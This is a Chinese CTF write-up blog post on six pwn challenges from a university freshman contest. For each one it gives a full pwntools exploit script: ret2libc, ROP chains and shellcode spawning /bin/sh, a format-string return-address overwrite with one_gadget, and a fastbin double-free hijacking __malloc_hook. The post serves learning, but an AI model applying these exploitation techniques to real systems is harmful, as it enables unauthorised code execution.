0x00 前言 杭师大的新生赛,pwn只做了5/10题,我觉得挺难的题目都被师傅们打成最低分了😭,堆题还是没能做出来,希望可以早日破零 但是这次也学到不少东西了,例如容错比较高的泄露libc的方法、free掉伪造的chunk时需要注意的细节之类的,再加油吧 还有还有,这是我加入kap0k之后第一次获奖的团队赛捏,还是很开心的 看看排名啦,最后拿到了小小三等奖。省赛和ISCC要加油
0x01 题解部分 1.签到 check一下 ida启动: 有个gets可以溢出,程序中没有binsh和system,所以要打ret2libc
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/pwn' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc.so.6' ) choice = 0x001 if choice: port= 30546 tg='node1.tgctf.woooo.tech' p = remote(tg,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) pause() puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] rdi=0x0000000000401176 main=0x0000000000401178 ret=0x000000000040101a payload=b'a' *(0x70 +8 )+flat(rdi,puts_got,puts_plt,main) sla('Welcome to the Hangzhou Normal University CTF competition, please leave your name.\n' ,payload) puts_addr=uru64() leak('puts_addr' ) libc_base=puts_addr-libc.sym['puts' ] leak('libc_base' ) sys,binsh=get_sb() payload1=b'a' *(0x70 +8 )+flat(ret,rdi,binsh,sys,main) sla('Welcome to the Hangzhou Normal University CTF competition, please leave your name.\n' ,payload1) itr()
2.Overflow 一个静态编译的程序 第一次输入应该是往name里面写shellcode 第二次输入就是溢出,然后劫持程序流,回到name,真这么简单吗 动调才看到main函数在最后藏东西了,不能单靠溢出来劫持返回地址 实际上是取决于esp最后的位置,所以得填些垃圾数据。注意esp会先到ebp-8上,所以先给ebp-8填入name的地址,后续再注意一下payload的构造即可,目的是为了让 rsp 指向我们在 name 上构造的 ropchain。
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/overflow' elf=ELF(file) choice = 0x001 if choice: port=31271 tg='node2.tgctf.woooo.tech' p = remote(tg,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) pause() debug() payload = pack('<I' , 0x08060bd1 ) payload += pack('<I' , 0x080ee060 ) payload += pack('<I' , 0x080b470a ) payload += b'/bin' payload += pack('<I' , 0x080597c2 ) payload += pack('<I' , 0x08060bd1 ) payload += pack('<I' , 0x080ee064 ) payload += pack('<I' , 0x080b470a ) payload += b'//sh' payload += pack('<I' , 0x080597c2 ) payload += pack('<I' , 0x08060bd1 ) payload += pack('<I' , 0x080ee068 ) payload += pack('<I' , 0x080507e0 ) payload += pack('<I' , 0x080597c2 ) payload += pack('<I' , 0x08049022 ) payload += pack('<I' , 0x080ee060 ) payload += pack('<I' , 0x08049802 ) payload += pack('<I' , 0x080ee068 ) payload += pack('<I' , 0x08060bd1 ) payload += pack('<I' , 0x080ee068 ) payload += pack('<I' , 0x080507e0 ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08082bbe ) payload += pack('<I' , 0x08049c6a ) sa('could you tell me your name?\n' ,payload) name=0x080EF320 payload=b'a' *(200 )+p32(name+4 )+p32(0 )*2 sla('i heard you love gets,right?\n' ,payload) itr()
name(bss 段)上没有执行权限,所以选择了 ropchain。其实也可以把栈给迁移到 name 上去,找个 leave ret
就可以了
3.shellcode 先checksec 保护开满,上ida看看: 好熟悉。。。2025VNCTF的pwn签到跟这题一模一样,跟进一下13行的函数: 一模一样,也是清空寄存器,所以按照VNCTF那题的思路来打就好了,ret2syscall
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/pwn' elf=ELF(file) choice = 0x01 if choice: port= 30693 tg='node2.tgctf.woooo.tech' p = remote(tg,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) shellcode=asm( ''' mov al,59 add rdi,8 syscall ''' )+b'/bin/sh\x00' sa('try to show your strength \n' ,shellcode) itr()
4.stack check一下: 上ida,发现main没法看伪c代码: 直接看汇编,逻辑大概是这样 跟进一下最后跳转的这个函数: 读取0x50字节到buf,可以溢出0x10个字节。最后貌似是一个判断,判断rbp+8的值有没有改变,改变了就跳转到另外一个函数,继续跟进: 这里利用了syscall 来实现的 write。但是参数放在了bss段上,想起main函数一开始那个read貌似读入的数据长度是挺长的,可以覆盖掉这几个变量,可以利用这点来构造 execve(0x3b, '/bin/sh\x00' , 0, 0)
。顺便查看一下bss,计算下要填充多少垃圾数据,需要0x40个字节: 还有binsh,那就好办了
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/stack1' elf=ELF(file) choice = 0x001 if choice: port=31487 tg='node1.tgctf.woooo.tech' p = remote(tg,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) payload=b'a' *(0x40 )+p64(0x3b )+p64(0x404108 )+p64(0xdeadbeef )+p64(0 )+p64(0 ) sa('welcome! could you tell me your name?\n' ,payload) sa('what dou you want to say?\n' ,b'a' *(0x50 )) itr()
5.fmt check: 保护开得很满,没得写got了,上ida看看: 第一是给了栈地址,第二看起来是只有一次fmstr的机会。以前国赛有一题是劫持fini,但是这个程序的fini没有写权限,没法劫持。既然给了栈地址的话,我们可以通过这个栈地址来修改函数的返回地址。首先来总结一下我们要做的事情:
有栈地址,可以通过这个地址修改printf函数的返回地址,因为是返回到main函数,只需要写入3字节。使用$n可以一次性写入4字节,这样我们就可以有空间可以泄露libc。
因为这题给了libc,所以可以考虑打one gadget,前面也泄露libc了,而且也把printf函数的返回地址给修改掉,让printf执行完之后再回到read函数或之前都可以。通过一次或多次printf把main函数的返回地址给修改成one gadget。
泄露libc的方式与以往有些区别,以前都是泄露函数got表,但是我发现这样做的话远程没有回显: 于是改变思路,尝试泄露 libc_start_main
,在栈上这个位置: 用 %19$p
就可以读到了,然后接收,计算libc基地址 动调发现main函数的返回地址只需要写3字节,这样就简单了
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' file='/mnt/c/Users/Z2023/Desktop/fmt/pwn' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/fmt/libc.so.6' ) choice = 0x01 if choice: port=30511 tg='node1.tgctf.woooo.tech' p = remote(tg,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) pause() puts_got = elf.got["puts" ] ru('your gift ' ) stack=int (r(14 ),16 ) leak('stack' ) ret = stack+0x68 printf_ret=stack-0x8 read_printf=0x0000000000401231 one_gadget=[0xe3afe ,0xe3b01 ,0xe3b04 ] payload1 = b'%19$paaa' payload1 += b'%' + str (read_printf-8 -9 ).encode() + b'c%9$n' payload1 = payload1.ljust(0x18 ,b'a' ) payload1 += p64(printf_ret) debug() sa('please tell me your name\n' ,payload1) libc_start_addr=int (r(14 ),16 ) leak('libc_start_addr' ) libc_base=libc_start_addr-0x24083 leak('libc_base' ) ogg=libc_os(one_gadget[1 ]) low = ogg & 0xff high = (ogg >> 8 ) & 0xffff payload2 = b'%' + str (low).encode() + b'c%9$hhn' payload2 += b'%' + str (high-low).encode() + b'c%10$hn' payload2 = payload2.ljust(0x18 ,b'a' ) payload2 += p64(ret)+p64(ret+1 ) sa('please tell me your name\n' ,payload2) itr()
0x03 复现! 6.heap (赛后复现) Checksec 一下 上 ida 功能有点少,先仔细看看有什么可以用的 有 uaf 有打印,但是不是直接打印堆,而是在 bss 段上的数据,而且可以重复输入数据。 那么我们可以
通过 uaf 在 bss 上造一个 fake chunk
通过重复输入数据改写 chunk 的 size
Free 掉之后得到 unsorted bin
利用输出功能泄露 libc
利用 uaf 劫持 __malloc_hook
为 one gadget
中间有些细节值得注意,先把 exp 放上来:
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/heap/pwn' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/heap/libc.so.6' ) choice = 0x001 if choice: port=30511 polar='1.95.36.136' nss='node5.anna.nssctf.cn' buu='node5.buuoj.cn' tg='node1.tgctf.woooo.tech' p = remote('10.195.85.198' ,62728 ) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) def malloc (size,content ): sla('> ' ,b'1' ) sla('size?' ,str (size)) sla('else?' ,content) def free (index ): sla('> ' ,b'2' ) sla('> ' ,str (index)) def change_name (content ): sla('> ' ,b'3' ) sa('> ' ,content) name_addr=0x00000000006020C0 payload = p64(0 ) + p64(0x7F ) sla('> ' ,payload) malloc(0x68 ,b'a' ) malloc(0x68 ,b'a' ) malloc(0x10 ,b'a' ) free(0 ) free(1 ) free(0 ) malloc(0x68 ,p64(name_addr)) malloc(0x68 ,b'a' ) malloc(0x68 ,b'a' ) malloc(0x68 ,b'a' ) payload = p64(0 ) + p64(0x91 ) payload = payload.ljust(0x98 , b"a" ) payload += p64(0x31 ) + p64(0 ) * 5 + p64(0x21 ) change_name(payload) free(6 ) change_name(b'a' *0x8 +b'\x91' +b'a' *7 ) libc_base=uru64()-0x3c4b78 leak('libc_base' ) free(4 ) free(5 ) free(4 ) malloc(0x68 ,p64(libc_os(libc.sym['__malloc_hook' ])-0x23 )) malloc(0x68 ,b'a' ) malloc(0x68 ,b'a' ) one=[0x4527a ,0xf03a4 ,0xf1247 ] payload=b'a' *0x13 +p64(libc_os(one[2 ])) malloc(0x68 ,payload) debug() sla('> ' ,b'1' ) sla('size?' ,str (0x10 )) itr()
首先值得注意的是:
name_addr=0x00000000006020C0 payload = p64(0 ) + p64(0x7F ) sla('> ' ,payload)
在开头往 name 输入的时候先是伪造了一个合适的 size 来绕过检测,这个没什么好说的。 下一个是通过 uaf 申请到了 name 上的堆块,通过重复写入数据来伪造 unsorted bin 这一段:
payload = p64(0 ) + p64(0x91 ) payload = payload.ljust(0x98 , b"a" ) payload += p64(0x31 ) + p64(0 ) * 5 + p64(0x21 ) change_name(payload)
起初我以为只要改掉 size,然后 free 掉就能得到 unsorted bin,但是事情并没有我想象中的顺利,如果只是这样的话:
payload = p64(0 ) + p64(0x91 )
程序会发生报错:
Error in `/mnt/c/Users/Z2023/Desktop/heap/pwn': double free or corruption (!prev): 0x00000000006020d0
询问了各个大佬之后得知了原因。 伪造堆块在释放时要考虑前后合并,因为我们在写入大小的时候是写的 0x91
,pre_inuse
位写入的是 1
,代表前一个“chunk“正在使用中,不需要向前合并。 接下来则是判断是否需要向后合并,后一个 chunk 的 pre_inuse
位为 1,代表我们伪造的 chunk 正在使用,在 free 的时候确保不会有问题。 再后面我们仍需要一个 chunk 来表示我们伪造的 chunk 的下一个 chunk 正在使用,这样就能确保在 free 掉我们伪造的 chunk 时不会向前向后合并触发 unlink
,简单画个图示意一下: 可恶啊,复现完之后觉得并不是什么难题,要是当时能把这题做出来,排名就会更前一点了